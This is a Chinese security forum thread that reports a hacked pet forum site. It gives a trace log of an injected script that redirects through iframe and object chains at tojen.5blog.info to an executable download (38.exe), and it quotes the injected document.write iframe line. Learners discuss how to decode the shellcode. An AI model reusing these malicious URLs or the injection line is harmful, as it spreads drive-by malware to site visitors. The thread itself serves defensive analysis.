瑞星卡卡安全论坛技术交流区恶意网站交流 http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

1   1  /  1  页   跳转

[黑名单] http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

Log is generated by FreShow.
[wide]http://bbs.sougou.com/redirect.php?tid=490173&goto=lastpost#lastpost
    [script]http://bbs.sougou.com/forumdata/cache/common.js?Ili
        [frame]http://tojen.5blog.info:171/360/index.html?id=38
            [object]http://tojen.5blog.info:171/360/me-.html?id=38
                [object]http://tojen.5blog.info:171/360/38/a.jpg
                    [object]http://my.me-1.info:8886/Down/my/38.exe
    [script]http://bbs.sougou.com/forumdata/cache/viewthread.js?Ili

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)
分享到:
gototop
 

回复:http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

老师:
1、http://tojen.5blog.info:171/360/me-.html?id=38  这个地址在上一级的网源码中没有呀~
2、http://tojen.5blog.info:171/360/"+id+"/a.jpg  其中的“+id+”可以换成任何一个数,源码带出都有shellcode,但是有细微的差别,难道都是马呀?
最后编辑暗夜的雪 最后编辑于 2010-03-02 11:18:37
娱乐致死还是娱乐至死啊?
gototop
 

回复:http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

试着解出来,不过 藏得有点严实,期待老师的讲解~
gototop
 

回复 1F networkedition 的帖子

Log is generated by FreShow.
[wide]http://bbs.sougou.com/
    [script]http://bbs.sougou.com/forumdata/cache/common.js?Ili
        [frame]http://tojen.5now.info:171/360/index.html?id=38
到这以后对document.write("<iframe src=http://tojen.5now.info:171/360/index.html?id=38 width=100 height=0></iframe>")我用的document.write这个解除,可是出来的东西不是您的那个,不知道怎么回事,请您讲解下好吗
gototop
 

回复:http://bbs.sougou.com/(搜狗 爱宠物,爱生活)

没发现有:
  [object]http://tojen.5blog.info:171/360/me-.html?id=38
                [object]http://tojen.5blog.info:171/360/38/a.jpg
                    [object]http://my.me-1.info:8886/Down/my/38.exe
gototop
 
1   1  /  1  页   跳转
页面顶部
Powered by Discuz!NT